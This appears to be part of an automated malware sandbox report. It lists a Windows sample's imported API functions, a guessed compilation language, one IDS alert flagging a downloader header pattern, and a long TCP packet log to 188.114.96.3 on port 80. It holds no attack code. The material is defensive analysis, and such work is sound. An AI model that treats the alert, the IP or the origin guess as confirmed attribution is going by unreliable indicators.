CopyImage, GetMenuDefaultItem, SetMenuDefaultItem, IsMenu, MonitorFromPoint, UpdateLayeredWindow, EnableScrollBar, UnionRect, IsRectEmpty, CharUpperW, IsZoomed, GetAsyncKeyState, NotifyWinEvent, MessageBeep, ReleaseCapture, SetCapture, KillTimer, SetTimer, SetWindowRgn, LoadMenuW, DeleteMenu, OffsetRect, IntersectRect, RealChildWindowFromPoint, SetLayeredWindowAttributes, EnumDisplayMonitors, SetRectEmpty, LoadCursorW, GetSysColorBrush, WindowFromPoint, DestroyMenu, GetMenuItemInfoW, InflateRect, ShowOwnedPopups, SetCursor, GetMessageW, TranslateMessage, SetWindowContextHelpId, MapDialogRect, PostQuitMessage, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, ModifyMenuW, EnableMenuItem, CheckMenuItem, SendDlgItemMessageA, WinHelpW, IsChild, GetCapture, GetClassLongW, SetPropW, GetPropW, RemovePropW, GetForegroundWindow, DispatchMessageW, BeginDeferWindowPos, EndDeferWindowPos, GetTopWindow, GetMessageTime, GetMessagePos, PeekMessageW, MonitorFromWindow, GetMonitorInfoW, MapWindowPoints, ScrollWindow, TrackPopupMenu, GetKeyState, SetMenu, SetScrollRange, GetScrollRange, SetScrollPos, GetScrollPos, ShowScrollBar, RedrawWindow, IsWindowVisible, ValidateRect, CreateWindowExW, GetClassInfoExW, RegisterClassW, AdjustWindowRectEx, EqualRect, DeferWindowPos, GetScrollInfo, SetScrollInfo, SetWindowPlacement, GetWindowPlacement, DefWindowProcW, GetMenu, CopyRect, GetWindowTextLengthW, GetWindowTextW, SetFocus, MoveWindow, GetDlgCtrlID, SetWindowTextW, IsDialogMessageW, SetDlgItemTextW, SendDlgItemMessageW, CheckDlgButton, GetWindow, SetWindowsHookExW, UnhookWindowsHookEx, CallNextHookEx, GetFocus, GetSysColor, EndPaint, BeginPaint, GetWindowDC, ClientToScreen, ScreenToClient, GrayStringW, DrawTextExW, DrawTextW, TabbedTextOutW, GetWindowThreadProcessId, GetLastActivePopup, MessageBoxW, GetDesktopWindow, GetActiveWindow, CreateDialogIndirectParamW, DestroyWindow, IsWindow, GetDlgItem, IsWindowEnabled, GetNextDlgTabItem, EndDialog, GetClassNameW, InvalidateRect, UpdateWindow, FillRect, DrawStateW, GetMenuState, GetMenuStringW, GetMenuItemID, InsertMenuW, GetMenuItemCount, GetSubMenu, RemoveMenu, MessageBoxA, GetProcessWindowStation, GetUserObjectInformationW, LoadBitmapW, SystemParametersInfoW, AdjustWindowRect, PtInRect, ReleaseDC, GetWindowRect, GetDC, GetCursorPos, CreatePopupMenu, SetActiveWindow, SetForegroundWindow, SetWindowPos, ShowWindow, RegisterWindowMessageW, GetParent, DrawIcon, GetClientRect, GetSystemMetrics, IsIconic, SetWindowLongW, GetWindowLongW, SendMessageW, AppendMenuW, GetSystemMenu, LoadIconW, PostMessageW, FindWindowW, GetClassInfoW, EnableWindow, CallWindowProcW
GDI32.dll	SetLayout, GetLayout, SelectClipRgn, SetTextAlign, CreateFontIndirectW, GetTextExtentPoint32W, CreateDIBitmap, CreateRectRgnIndirect, GetTextMetricsW, EnumFontFamiliesW, GetTextCharsetInfo, GetMapMode, PatBlt, DPtoLP, CreateRoundRectRgn, GetBkColor, GetTextColor, GetRgnBox, CreatePolygonRgn, CreateEllipticRgn, Polyline, Ellipse, MoveToEx, CreatePalette, GetPaletteEntries, GetNearestPaletteIndex, RealizePalette, GetSystemPaletteEntries, OffsetRgn, SetPixel, Rectangle, EnumFontFamiliesExW, SetPaletteEntries, LPtoDP, GetWindowOrgEx, GetViewportOrgEx, PtInRegion, FillRgn, FrameRgn, GetBoundsRect, SelectPalette, GetTextFaceW, SetPixelV, CreateBitmap, CreatePatternBrush, Polygon, LineTo, ExtSelectClipRgn, IntersectClipRect, ExcludeClipRect, GetClipBox, SetMapMode, SetTextColor, SetROP2, SetPolyFillMode, SetBkMode, SetBkColor, RestoreDC, SaveDC, GetStockObject, CreateDCW, CopyMetaFileW, GetDeviceCaps, CombineRgn, SetRectRgn, CreateRectRgn, StretchBlt, CreateDIBSection, GetObjectW, SetDIBColorTable, DeleteDC, ScaleWindowExtEx, SetWindowExtEx, OffsetWindowOrgEx, SetWindowOrgEx, ScaleViewportExtEx, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, Escape, ExtTextOutW, TextOutW, RectVisible, PtVisible, GetPixel, BitBlt, DeleteObject, SelectObject, CreateCompatibleBitmap, CreateCompatibleDC, CreateHatchBrush, CreatePen, GetObjectType, ExtFloodFill, CreateSolidBrush, GetWindowExtEx, GetViewportExtEx
MSIMG32.dll	TransparentBlt, AlphaBlend
COMDLG32.dll	GetFileTitleW
WINSPOOL.DRV	OpenPrinterW, ClosePrinter, DocumentPropertiesW
ADVAPI32.dll	RegSetValueExW, ReportEventA, RegisterEventSourceA, CryptEnumProvidersA, CryptReleaseContext, CryptDestroyKey, CryptGetProvParam, CryptAcquireContextA, CryptGetUserKey, CryptExportKey, CryptDestroyHash, RegEnumKeyExW, RegEnumValueW, RegQueryValueW, RegEnumKeyW, RegDeleteKeyW, RegDeleteValueW, DeregisterEventSource, RegCreateKeyExW, RegOpenKeyExW, RegQueryValueExW, RegCloseKey, CryptDecrypt, CryptCreateHash, CryptSetHashParam, CryptSignHashA
SHELL32.dll	SHGetFileInfoW, ShellExecuteW, ShellExecuteExW, SHBrowseForFolderW, DragQueryFileW, DragFinish, SHAppBarMessage, SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHGetDesktopFolder, Shell_NotifyIconW, ShellExecuteA, CommandLineToArgvW
COMCTL32.dll	InitCommonControlsEx, _TrackMouseEvent, ImageList_GetIconSize
SHLWAPI.dll	PathFindExtensionW, PathFindFileNameW, PathIsUNCW, PathRemoveFileSpecW, PathStripToRootW
ole32.dll	OleCreateMenuDescriptor, OleInitialize, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, OleDestroyMenuDescriptor, OleTranslateAccelerator, IsAccelerator, OleLockRunning, OleGetClipboard, RegisterDragDrop, CoLockObjectExternal, RevokeDragDrop, CoRevokeClassObject, CoRegisterMessageFilter, ReleaseStgMedium, CoTaskMemAlloc, OleDuplicateData, CoCreateGuid, CLSIDFromProgID, CLSIDFromString, CoCreateInstance, CoDisconnectObject, CoInitialize, CoUninitialize, CoInitializeEx, CoFreeUnusedLibraries, OleUninitialize, DoDragDrop, OleFlushClipboard, OleIsCurrentClipboard, CreateILockBytesOnHGlobal, CoTaskMemFree, CreateStreamOnHGlobal, CoGetClassObject
OLEAUT32.dll	VariantCopy, VariantClear, OleCreateFontIndirect, LoadTypeLib, VarBstrFromDate, SysStringLen, SystemTimeToVariantTime, VariantTimeToSystemTime, SafeArrayDestroy, VariantChangeType, SysFreeString, SysAllocStringLen, VariantInit, SysAllocString, DispCallFunc, LoadRegTypeLib, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetElemsize, SafeArrayCreate
oledlg.dll	OleUIBusyW
gdiplus.dll	GdipSetInterpolationMode, GdipCreateBitmapFromHBITMAP, GdipDrawImageRectRect, GdipDrawImageRect, GdipCloneBitmapAreaI, GdipCreateBitmapFromFile, GdipCreateBitmapFromStream, GdipGetImagePixelFormat, GdipGetImagePaletteSize, GdipGetImagePalette, GdipBitmapLockBits, GdipBitmapUnlockBits, GdipCreateBitmapFromScan0, GdipGetImageGraphicsContext, GdipDrawImageI, GdipReleaseDC, GdipDrawString, GdipSetTextRenderingHint, GdipCloneBrush, GdipDeleteBrush, GdipCreateSolidFill, GdipSetStringFormatLineAlign, GdipSetStringFormatAlign, GdipDeleteStringFormat, GdipCreateStringFormat, GdipDeleteFont, GdipCreateFontFamilyFromName, GdipDeleteFontFamily, GdipGetGenericFontFamilySansSerif, GdipCreateFont, GdipDrawImageRectI, GdipSetSmoothingMode, GdipDeleteGraphics, GdipCreateFromHDC, GdipGetImageHeight, GdipGetImageWidth, GdipDisposeImage, GdipCloneImage, GdipAlloc, GdipFree, GdiplusShutdown, GdiplusStartup, GdipLoadImageFromFile
dbghelp.dll	SymFunctionTableAccess, SymGetModuleBase, StackWalk, MiniDumpWriteDump, SymSetOptions, SymInitialize
OLEACC.dll	AccessibleObjectFromWindow, CreateStdAccessibleObject, LresultFromObject
IMM32.dll	ImmGetOpenStatus, ImmReleaseContext, ImmGetContext
WINMM.dll	PlaySoundW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-27T09:49:34.405364+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49714	80	192.168.2.8	188.114.96.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 09:49:33.934366941 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:33.939178944 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:33.939281940 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:33.939544916 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:33.944271088 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405163050 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405210018 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405221939 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405236959 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405261040 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405273914 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405286074 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405297995 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405312061 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405318022 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.405364037 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.405400991 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.410361052 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.410378933 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.410393000 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.410430908 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.410458088 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.492815018 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.492845058 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.492856979 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.492871046 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.492885113 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.492990971 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.493024111 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.493104935 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.493154049 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.493313074 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.493326902 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.493349075 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.493360996 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.493365049 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.493376017 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.493381023 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.493411064 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.493437052 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.494091034 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.494148016 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.494194031 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.494206905 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.494224072 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.494241953 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.494247913 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.494270086 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.494296074 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.495295048 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.495310068 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.495328903 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.495342016 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.495345116 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.495357037 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.495376110 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.495384932 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.495414972 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.496239901 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.496310949 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.496485949 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.496534109 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580440998 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580502033 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580516100 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580519915 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580543041 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580570936 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580579996 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580584049 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580595016 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580609083 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580611944 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580642939 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580658913 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.580928087 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.580991983 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.581756115 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.581804991 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.581816912 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.581819057 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.581852913 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.581883907 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.582335949 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582346916 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582353115 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582357883 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582365036 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582475901 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.582726002 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582739115 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.582775116 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.582806110 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.583079100 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.583118916 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.583120108 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.583132029 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.583159924 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.583178043 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.583651066 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.583663940 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.583676100 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.583712101 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.583739996 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.584382057 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.584393978 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.584404945 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.584423065 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.584446907 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.584446907 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.584475994 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.584697962 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.584712029 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.584777117 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.585083008 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.585181952 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585192919 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585203886 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585222006 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585235119 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585249901 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585787058 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585798979 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585817099 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585827112 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.585927010 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.673171043 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673203945 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673217058 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673229933 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673244953 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673356056 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.673361063 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673372984 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673386097 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673398972 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673404932 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673417091 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673496962 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.673854113 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673887014 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673898935 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.673935890 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674012899 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674021959 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674024105 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674038887 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674051046 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674118042 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674150944 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674221992 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674603939 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674623966 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674637079 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674685001 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674726963 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674738884 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674751043 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674763918 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674771070 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674870968 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.674952030 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.674963951 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675020933 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.675745964 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675806046 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675817013 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675828934 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.675919056 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.675932884 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675945997 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675956964 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.675968885 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676018000 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.676071882 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676074982 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.676084042 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676170111 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.676527977 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676588058 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676599979 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676609993 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.676647902 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676659107 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676676035 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676688910 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676698923 CEST	80	49714	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.676712036 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.676808119 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.855912924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.860888004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:34.860986948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.861166000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:34.866019964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.350728035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.353763103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.358629942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455451965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455481052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455497980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455511093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455523968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455538034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455569983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455576897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.455580950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455593109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455599070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.455610991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.455627918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.455648899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.456203938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.460561037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.460616112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.542304993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542325020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542331934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542339087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542393923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542407990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542419910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.542557001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.542601109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.543040037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543052912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543065071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543080091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.543102026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543107033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.543114901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543159008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.543900967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543930054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543941975 CEST	80	49715	188.114.96.3	192.168.2.8
